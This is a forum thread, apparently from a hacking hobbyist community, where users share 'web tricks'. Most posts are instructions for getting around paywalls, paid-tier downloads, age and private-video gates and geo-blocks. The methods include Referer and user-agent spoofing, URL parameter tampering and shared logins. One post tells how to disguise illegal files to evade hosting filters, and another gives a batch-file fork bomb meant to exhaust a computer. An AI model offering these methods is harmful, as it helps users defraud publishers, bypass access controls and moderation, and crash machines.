Silly Web Tricks

[DIzzIE]

This thread is for posting silly little ?web tricks? you come across that may prove to be handy for one thing or another. Feel free to share anything you feel would be useful :).

To start off, here?s an easy way to get free access to all of the articles from Computer Power User, PC Today, and Smart Computing magazines:

If you?ve ever tried reading an article from a back issue of Computer Power User, PC Today, Smart Computing, or a few other Sandhills publications, you?ve probably noticed that the article gets cut off just a few paragraphs in, with a nag message informing you that you can have access to the full article if you?re a subscriber, ?To view the full text of any article published in Smart Computing, PC Today, or Computer Power User magazine, you must be a paid subscriber to one of these publications??. Well, fuck that shit. Let?s see if we can get the articles for free.

Pick out an article from one of the aforementioned magazines (see computerpoweruser.com/editorial/isslist.asp for a full list). For this example, we?ll use this article: computerpoweruser.com/editorial/article.asp?article=articles/archive/c0702/45c02/45c02.asp (which is full of, (in)appropriately enough, references to free educational sites).

If you select a random phrase from the available article excerpt (before the subscription nag notice), and then do a Google search for it (say, http://www.google.com/search?q=%22Here%e2%80%99s+another+of+my+famous+ro undups+of+cool%2c+free+stuff%22 in our example), you?ll find that one of the hits is a link back to the same article, at the same URL. However, if you click on that article link from the Google search results page, you?ll find that the article now opens up in its entirety :).

Sure, you can now start plugging in phrases from the articles you want to read into Google, or you can just spoof your HTTP referer field to say www.google.com. There?s a countless number of programs and browser plug-ins to spoof your HTTP referer field, so search around and pick one. A simple program to do the trick (if you use Internet Explorer as your browser) is Wolfman?s Zspoof, available at http://wolfman.deny.de. Simply plug in the desired article?s URL (though go ahead and delete any of the ?&guid=?? stuff which may appear in the end, as it?s not necessary, so your article URL should end in ?.asp?) into the Target field of Zspoof, and www.google.com into the Ref field, and hit Spoof.

If you picked out a bunch of articles, and want to be able to access them all at once, you can hit the Add Many button in Zspoof, and then paste them all in (Zspoof will then open as many browser windows as there are articles).

And there you have it, a simple way to access all of the articles from Computer Power User, PC Today, and Smart Computing?at least for now. Oh, and don?t forget to use a proxy ;).

Know of any other magazine sites that this trick will work on?

[odin_dax]

I dunno if this is in line with your thread, but www.BugMeNot.com is useful, and might have some of the info you're looking for. It's mainly a site for logins, but porn sites are banned.

[FireStorm69]

Ok, this one definately fits into the category! I search Google for any question I have and I reguraly end up at experts-exchange.com. Only a few of my answers have ever come from there. Any way, they show you the question but make you pay to see the replies and answers. They do this by scrambling the text in the replies and an image telling you to pay to see it when you roll over one...

The following URL is a good example:
http://www.experts-exchange.com/Hardware/Desktops/Q_20896351.html

Well, I was bored on day and decided to see if I could crack the solutions, so I viewed the source and was scrolling through it when all of a sudden I saw clear text again. All the scrambled replies are at the top and their unscrambled versions at the bottom being hidden by css and javascript. So, to view ANY of the replies (so far it's worked on EVERY page I looked at), just view the source and scroll down until the text becomes readable again!

What a stupid way to try and protect the answers to get you to sign up.. What's even worse, is that they probably paid someone (or several people) for that code. PLUS they are supposed to be EXPERTS (experts-exchange.com)!!! Some experts..

P.S.
Sorry for my poor forum etiquite, I forgot to introduce myself... I am a 29 year old web developer/programmer/moderate hacker.. I have been working with computers since I was 12 and no one ever heard of the internet. I am very well versed in PERL/CGI, PHP, HTML, JAVASCRIPT, CSS and am able to quickly pick-up and learn most programming languages. They're all pretty much the same, they just use different terminology and methods to accomplish the same tasks. It's like learning a foreign language, but much more fun because you can more with it! Any way, I am a life long learner and just love to get my hands dirty with new and interesting projects/hacks..

I just learned of this forum, and hope I can make it a regular stop for me and can contribute to the community. Hacking is more than just a fun diversion or rebelious activity, it's a lifestyle and a bond between like-minded individuals that promotes the ideas of sharing, exploration and determination that most of the world is lacking today!

FireStorm69

[Stone]

Hey, welcome to Rorta, FireStorm69.

I've seen that experts-exchange crap and it's fucking annoying, but never bothered to try and crack it 'cos the answer can usually be found somewhere else anyway.

Nice trick though.

[odin_dax]

Never heard of Expert's Exchange...

[themanwhowas]

i have seen experts exchange many times. you know how it is. you have a problem, you google it and aha! someone else has asked the same question. click the link and oh no! its experts exchange. :crazy: i would never pay for it so this is very useful for me. cheers

[DIzzIE]

Youtube Tricks...in FAQ form!


How can I download Youtube videos?

~ Go to www.clipnabber.com (recommended), www.tubeg.com, www.javimoya.com (currently not working), or type 'youtube video download site' into a search engine. Paste your link into the form on the site, and save the file.

~ Get the DownloadHelper (http://addons.mozilla.org/firefox/3006) (recommended) or the VideoDownloader (http://addons.mozilla.org/firefox/2390) (made by the javimoya folks, currently not working) extensions for Firefox.

~ Wait for the video to finish loading, then go fish it out of your browser's cache. Do a web search to find out where your browser's cache is on your machine. You'll also want to clean out your cache before going to the target video so there's not too much clutter. In Firefox you'll also have to rename the pertinent file (this'll be the largest file, assuming you just cleaned out your cache) to have a .flv extension.

~ Download a standalone program, like Youtube Grabber ( http://www.download.com/Youtube-Grabber/3000-2071_4-10574801.html), to save the videos for you.


How do I play downloaded Youtube videos?

~ Rename the file so that it has a .flv extension and then open it using VLC Media Player (http://www.videolan.org/vlc/) (recommended), or a FLV Player (http://applian.com/flvplayer/?src=VideoDownloadPlay).


How do I convert Youtube videos?

~ If you want to convert it to an XviD or DivX AVI file, use All To AVI (http://alltoavi.sourceforge.net/) (recommended). If you want to convert it to other video formats use Super ? (http://www.erightsoft.net/S6Kg1.html) (recommended).


How can I download/view deleted Youtube videos?

~ If a video was officially removed from viewing on Youtube's site, it may still be stored on one of Youtube's/Google's servers for a short amount of time (so be quick!). Plug in the Youtube Video ID (www.youtube.com/watch?v=IDISHERE) into this URL: http://cache.googlevideo.com/get_video?video_id=IDISHERE and save the file, giving it a .flv extension (recommended).

~ Use the deleted Youtube finders provided by InfamousX ( www.youtube.infamousx.com) and/or Ftvteen ( www.deletedyoutube.ftvteen.com). These tend not to work as well as the cache.googlevideo.com technique, and are also shitloads slower.


How can I view 'inappropriate' Youtube videos without creating an account?

When some self-righteous piece of shit motherfuckers decide to flag a Youtube video as 'inappropriate', you are presented with a message saying that 'This video or group may contain content that is inappropriate for some users, as flagged by YouTube's user community. To view this video or group, please verify you are 18 or older by logging in or signing up,' instead of the actual video. There are three simple ways to get around this bullshit restriction without wasting the time of creating a Youtube account:

~ The standard Youtube video link is in the format of http://www.youtube.com/watch?v=P0qPn0HzzqA (where the part after v= is the video ID, which you can see by mousing over the link to the video). Change this format to http://www.youtube.com/v/P0qPn0HzzqA and you can now view the video (in full-screen mode, no less) without needing to log in.

~ Go use an account username/password someone else has created and shared on http://www.bugmenot.com/view/www.youtube.com.

~ Use one of the links (like www.clipnabber.com) mentioned in the first answer to question one, or the google video cache method mentioned in the first answer to question four (http://cache.googlevideo.com/get_video?video_id=IDISHERE).


How can I view 'private' Youtube videos?

Eventually you'll stumble onto a Youtube link that tells you some whacked out jazz along the lines of 'This is a private video. If you have been sent this video, please make sure you accept the sender's friend request.' (See http://www.youtube.com/watch?v=gNMQrJYGQFo as an example). This is again easily bypassed by using one of the links (like www.clipnabber.com) mentioned in the first answer to question one, or the google video cache method mentioned in the first answer to question four (http://cache.googlevideo.com/get_video?video_id=IDISHERE).

Huge thanks to everyone who came up with the methods, I just list them...

[REL0AD]

How can I download Youtube videos?

Thankyou Diz, you are a lord!

[DIzzIE]

You may have heard the recent news that Trent Reznor/Saul Williams have dropped a free album (http://anonym.to/?http://www.niggytardust.com/) on the net, with you having the option of either paying $5 for it or downloading it (complete with the sleeve notes) for free. This is of course a step up from last month's faux pas of the (un)'free' Radiohead album release (http://www.zeropaid.com/news/9026/Radiohead+Shocks+Record+Industry+With+Free+Downloa d+of+New+Album) (which included a minimum transaction fee of 40p), but there are still some limitations with the Niggy Tardust album. Namely, if you click the 'Free' version on the site you can only download the 192kbps MP3 version. You have to pay the $5 to grab the 320 kbps MP3s or the FLAC files. Well, at least that's what they want you to think.

To get the 320 kbps MP3 and/or the FLAC version of the album without paying, simply append &audiochoice=320 or =flac after your order number in the URL you get redirected to after putting in an email address (note that there also isn't any sort of email verification, so feel free to enter whatever bullshit email you want). In other words, your link should look like this: http://niggytardust.com/saulwilliams/preorderdownload?orderid=yourordernumberhere&audiochoice=flac (which you can modify on the screen following the email submission form). Enjoy your totally free album encoded with the codec/bitrate that you prefer. No compromise.

[Th0r]

For downloading You Tube videos just use zamzar.com

It is a free online web converter...

You can also upload and convert images, documents and music files...

[Stone]

For experts exchange, you can just click the cache link that appears below the result.

[mcduff]

just in regards to all the threads with experts exchange in them...

brake it down

EXPERTSEXCHANGE

[Nox (ADVANCED)]

Pen island is antoher one. There is a whole thread on these sort of addresses.

[Reginator]

You da man Dizzie... Thanx for the youtube trix...

[DIzzIE]

The Virtues of Printer-Friendly Links

You may have noticed that lots of websites, particularly news sites, nowadays have very little actual content and lots of fluff that consists of advertising, wasteful spacing and formatting, and other extraneous garble that detracts from the article you're trying to read. The good news is that most news sites now have the ability to view a 'printer friendly' version of the page that typically provides no annoying formatting, fewer or no ads, and no irritating side-bars or menu-items; in other words, just the article.

Look around the top or the bottom edges of the news-story page for either a link that says 'printer friendly.' 'printable format,' or something of that ilk, and/or has a little icon of a printer on it. Click that link, and then whenever you share the URL to the news-story, be sure to link to that printer-friendly link instead of the standard one. If you get a long ugly link, use a URL-shortening service like tinyurl or snipurl to compact the URL. You can help encourage others to give pf-links by refusing to click on any non-pf links when a pf alternative is available.

Since the format for a pf-URL is generally the same for each news site (see the few examples below), perhaps someone can script some sort of automated tool to generate pf-links on the fly and make this a bit easier. But for now, just be sure to always hand out pf-links in lieu of the standard ones and help everyone not only save bandwidth, but prevent them from being exposed to potentially malicious advertising and just plain wasteful formatting. Remember that if you?re sharing a link with someone you obviously want them to click on it, so it stands to reason that you would provide a link that others would actually click on?

A few examples to compare:

Bad: http://news.yahoo.com/s/ap/20080327/ap_on_re_as/china_tibet
Better: http://news.yahoo.com/s/ap/20080327/ap_on_re_as/china_tibet&printer=1

Bad: http://www.theregister.co.uk/2008/03/26/heathrow_terminal_5/
Better: http://www.theregister.co.uk/2008/03/26/heathrow_terminal_5/print.html

Bad: http://www.cnn.com/2008/US/03/27/prison.greeting.cards/index.html
Better: http://tinyurl.com/3yqf4e

[odin_dax]

Is there a method of using Google to search for PF hits?

[DIzzIE]

Is there a method of using Google to search for PF hits?

Hrmm, I don't think there's a full-proof one, but you could try adding 'inurl:print' to the end of your Google query (for example: '"title of the article you're looking for" inurl:print'), since lots--but not all--of the PF links have 'print' in their URL.

[DIzzIE]

How to Rip NPR MP3s.

National Public Radio (NPR) is a popular radio show syndicator in the US. You can listen to lots of their shows online, but while they now do offer 'podcasts' and other downloadable content, many of the programs are only officially available as streaming content, with no link to download the source MP3. Well fuck that, let's rip their shit.

You can of course, use a sound-capturing program like SoundTap (or many others) to record all sound coming out of your computer, but this will result in lossier sound quality, so instead let's rip the original MP3 file (64 Kbps, 44 KHz) that's streamed in NPR's flash player.

1. Head on over to the NPR Archives (http://anonym.to/?http://www.npr.org/templates/archives/rundown_archive_hub.php) and pick a program to rip. For this example we will be using http://www.npr.org/templates/story/story.php?storyId=4167689 , though the method should work for other shows in much the same way.

2. Now just take the storyId number from the first URL (4167689 in our example), and insert it after the id= field in this second URL, like so: http://www.npr.org/templates/xanadu/xplayer.php?id=4167689&t=1 .

3. Paste the second URL into your browser, and you should get an xplayer.xml file. (The XML file will either open in your browser or you'll be prompted to save it). At the top of the XML file should be a <mediaUrl> field that looks something like this:

<mediaUrl>
/npr/atc/2004/11/20041112_atc_09.mp3?primaryTopic=1039&assignedTopics=1041,1045,1047,1011&orgId=1
</mediaUrl>

4. Aha. Now we know the filepath of the source MP3 that we want to download, but alas the URL itself isn't listed in the XML file. But don't worry, the root URL is just: http://download.npr.org/anon.npr-mp3/.

5. Now simply append the mediaUrl value to the end of the aforementioned URL (stripping out all the extraneous bullshit after .mp3). So your download URL for this show episode should be: http://download.npr.org/anon.npr-mp3/npr/atc/2004/11/20041112_atc_09.mp3 .

And there you have it. You should now be able to download the original MP3s (64 Kbps, 44 KHz) of your favourite shows to your heart's content. The general process is simple: get the storyId from the first URL, paste it into the second URL, get the location of the MP3 from the XML file that the second URL points to, and finally append the MP3 location to the third URL. Easy as 1-2-3-4 :smile:.

[XmasComes]

I found a way to view videos on www.southparkstudios.com (using firefox) in the UK where videos currently will not show due to boradcasting rights etc.

1. Go to http://www.atomintersoft.com/free_socks5_proxy_list and find a proxy that is in the USA. If it doesnt actually specify that its in the USA if the url ends in comcast.net then it will be a USA proxy.

2. Copy the IP and port which is in this format for example 76.27.113.101:57497

3. Go to the Tools tab on firefox browser > Options > Advanced > Network > Click Settings under Connection and check the manual proxy configuration circle.

4. Where it says SOCKS host fill in the boxes as necessary (remember the IP:Port format) and make sure the SOCKS v5 circle is checked.

5. Now save these settings and load http://www.southparkstudios.com/guide/1002/
If you get an error just refresh until it loads (it will load very slowly) and then press "Watch this full episode". The player will load but not properly because it cant load the flash properly with the proxy so you close the player go back to your proxy settings remove the information you filled in and check the "No proxy circle"

6. Press "Watch this full episode" again and the player will load fully because it still recognises you as being on the Proxy IP and you can now wach any south park episode free online.

[odin_dax]

I found a way to view videos on www.southparkstudios.com using firefox even if you arent in USA.

1. Go to http://www.atomintersoft.com/free_socks5_proxy_list and find a proxy that is in the USA. If it doesnt actually specify that its in the USA if the url ends in comcast.net then it will be a USA proxy.

2. Copy the IP and port which is in this format for example 76.27.113.101:57497

3. Go to the Tools tab on firefox browser > Options > Advanced > Network > Click Settings under Connection and check the manual proxy configuration circle.

4. Where it says SOCKS host fill in the boxes as necessary (remember the IP:Port format) and make sure the SOCKS v5 circle is checked.

5. Now save these settings and load http://www.southparkstudios.com/guide/1002/
If you get an error just refresh until it loads (it will load very slowly) and then press "Watch this full episode". The player will load but not properly because it cant load the flash properly with the proxy so you close the player go back to your proxy settings remove the information you filled in and check the "No proxy circle"

6. Press "Watch this full episode" again and the player will load fully because it still recognises you as being on the Proxy IP and you can now wach any south park episode free online.

I've never gotten proxies to work for videos outside the US. :-( but there are ways around that. As for SPStudios, you can be outside the US. It's worked for me everytime.

[XmasComes]

I've never gotten proxies to work for videos outside the US. :-( but there are ways around that. As for SPStudios, you can be outside the US. It's worked for me everytime.

Lol ok well in England you cant, so that method will work for people who want to view in England.

[Pimpin4Life30]

How do i download videos off of theync.com?im thinking same way.

[jacob]

vixy.net is a pretty good place to download the youtube videos.

and if you find a video performance of a song you just have to have, www.vid2mp3.com is amazing for that. Works amazingly fast every time.

[s480]

How to bypass a file hosting website's no porn/obscene/passworded archive/illegal content restriction: Open windows explorer-->Tools-->Folder Options-->View-->Uncheck "Hide extensions for known filetypes". Then change the extensions of the files you wish to disguise. It doesn't matter what you change the extension to as long as the application it opens with doesn't reveal what the file really contains.

[Acid44]

how to change your i.p. adress

i think i remember this...

one way is to go start>run> type "ipconfig /release", hit enter, then start>run type "ipconfig /renew"

another way, is start>run type "ipconfig /release" then reset your modem, then when the modem reboots, go to start>run, type "ipconfig /renew"

if neither of these work, just unplug your modem overnight... reboot it when you wake up, which is hopefully long enough for your modem's memory to "die"

and if nonw of these work, call your isp and request a new i.p. adress....


if i'm wrong let me know, it's been a while since i've done this...

[Th0r]

If you are using Wi-Fi and want a simple way to do what Acid44 talked about hit right click on the Wireless icon and click repair!

[Acid44]

is it really that easy with wi-fi? wow...

[DoctaD]

Its very unlikely any uk modem will find the same IP after being turned off and on again.

[Nox (ADVANCED)]

If you are using Wi-Fi and want a simple way to do what Acid44 talked about hit right click on the Wireless icon and click repair!

Works for my broadband too i think. Right click the 2 comps icon and select repair.

will find out later if this works for real.

[Æhµ]

Referring to the original post; another way to get past "subscription only" articles is to change your user-agent to "googlebot". The reason Google was able to cache those pages in the first place is most sites/servers allow googlebot to access them in order to index the page for the search engine.

FF users can download the user-agent extension at Firefox.

[]-[?Я??|]

I just started findin this stuff so its somethin I can understand so its not that adavanced but....
It's just a spam thing that as far as i know doesnt mess up ur computer just slows it down

Open up notepad

when u click on it, it constantly keeps opening new windows and the only way to stop is turn off ur computer(but i just took out my FD and it stopped and deleted the group.
:type ur message here:Fork.bat
:s
start% "Fork.bat"
goto s

or

If you wont it to just run the same message over and over again...
:type message here:Fork.bat
:s
start%o "Fork.bat"
goto s

IF SOMETHING DOES HAPPEN DONT BLAME ME UR THE DUMBASS THAT TRIED IT AND GOT FUCKED UP (nothing happened to me though but it got realy fucked up at like 218 windows)

[JakeHilfter]

Hi, good post. I have been wondering about this issue,so thanks for posting.

[s480]

Edit a pages html by pasting this into your address bar and hitting enter:
javascript:document.body.contentEditable%20=%20'tr ue';%20document.designMode='on';%20void%200

Of course it doesnt affect anyone's page except yours. Refresh to turn editing mode off.